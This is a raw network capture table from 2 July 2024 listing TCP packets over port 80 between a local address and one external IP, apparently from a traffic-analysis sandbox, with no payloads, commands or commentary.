Jul 2, 2024 15:26:14.998485088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.998509884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.998526096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.998565912 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.998565912 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.998702049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.998833895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.998893976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.998903990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.998924017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.998934031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.998956919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.998958111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.998969078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.998981953 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.998986959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.998997927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.999023914 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.999031067 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.999533892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.999591112 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.999656916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.999667883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.999686003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.999701023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.999711037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.999727964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.999737024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.999738932 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.999738932 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.999754906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.999764919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.999775887 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.999775887 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.999814987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.000638008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.000648975 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.000667095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.000679970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.000694036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.000709057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.000718117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.000718117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.000718117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.000735998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.000746012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.000761986 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.000761986 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.000766039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.000808001 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.000853062 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.001642942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.001657009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.001672029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.001682043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.001698017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.001710892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.001720905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.001724958 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.001737118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.001750946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.001750946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.001754999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.001766920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.001807928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.001807928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.002543926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.002556086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.002568960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.002590895 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.002609015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.002610922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.002610922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.002619982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.002636909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.002649069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.002660990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.002660990 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.002660990 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.002666950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.002684116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.002727032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.002727032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.003504992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.003515959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.003532887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.003568888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.003643036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.025461912 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.025516987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.025856972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.025923014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.025943995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.025954962 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.025974035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.025984049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.026000977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.026015043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.026038885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.026038885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.026099920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.026469946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.026480913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.026501894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.026510000 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.026513100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.026530027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.026544094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.026546955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.026546955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.026590109 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.056668043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.056730986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.056776047 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.056776047 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.056847095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.056859016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.056926012 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.057109118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.057132006 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.057142973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.057162046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.057177067 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.057177067 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.057204962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.057677984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.057688951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.057708025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.057717085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.057734013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.057744980 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.057746887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.057765007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.057777882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.057792902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.057792902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.057828903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.058552027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.058574915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.058588028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.058604002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.058615923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.058644056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.058644056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.058690071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.085345030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.085417986 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.085426092 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.085443020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.085465908 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.085521936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.085705996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.085717916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.085737944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.085753918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.085793972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.085793972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.086213112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.086225033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.086244106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.086251974 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.086260080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.086272955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.086308956 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.086679935 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.086690903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.086710930 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.086764097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.086764097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.090442896 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.090506077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.090516090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.090533018 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.090672970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.090686083 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.090704918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.090714931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.090724945 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.090724945 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.090812922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.090991974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.091110945 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.091131926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.091142893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.091161013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.091171026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.091196060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.091206074 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.091211081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.091236115 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.091236115 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.091281891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.091773987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.091785908 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.091909885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.091921091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.091947079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.091953039 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.091953993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.091959000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.091976881 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.091989994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.092009068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.092020988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.092029095 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.092029095 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.092036009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.092052937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.092109919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.092109919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.092109919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.092962980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.092974901 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.092993975 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.093008041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.093022108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.093038082 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.093048096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.093060017 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.093060017 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.093066931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.093077898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.093096018 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.093101978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.093116045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.093125105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.093125105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.093286037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.093986034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.093997955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.094017029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.094031096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.094047070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.094060898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.094073057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.094089985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.094100952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.094110012 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.094110012 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.094116926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.094134092 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.094152927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.094152927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.094393969 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.094818115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.094830990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.094849110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.094902992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.094902992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.094916105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.094928980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.094943047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.094953060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.094969034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.094981909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.094991922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.094991922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.094997883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.095016003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.095038891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.095038891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.095138073 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.095844030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.095855951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.095874071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.095887899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.095899105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.095905066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.095915079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.095932961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.095936060 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.095968008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.096282005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.117223978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.117292881 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.117336035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.117350101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.117402077 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.117532015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.117547035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.117611885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.117611885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.117736101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.117747068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.117784023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.117949009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.118042946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.118105888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.118117094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.118302107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.118313074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.118328094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.118331909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.118343115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.118402004 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.118449926 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.118801117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.118860960 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.149106979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.149152040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.149163961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.149178028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.149234056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.149234056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.149280071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.149337053 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.149354935 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.149378061 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.149396896 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.149436951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.149835110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.149844885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.149863958 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.149878979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.149892092 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.149949074 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.150338888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.150350094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.150368929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.150377989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.150396109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.150408983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.150418997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.150420904 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.150420904 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.150439978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.150470972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.150470972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.151109934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.151124954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.151140928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.151156902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.151190042 CEST	49731	80	192.168.2.4	77.91.77.81
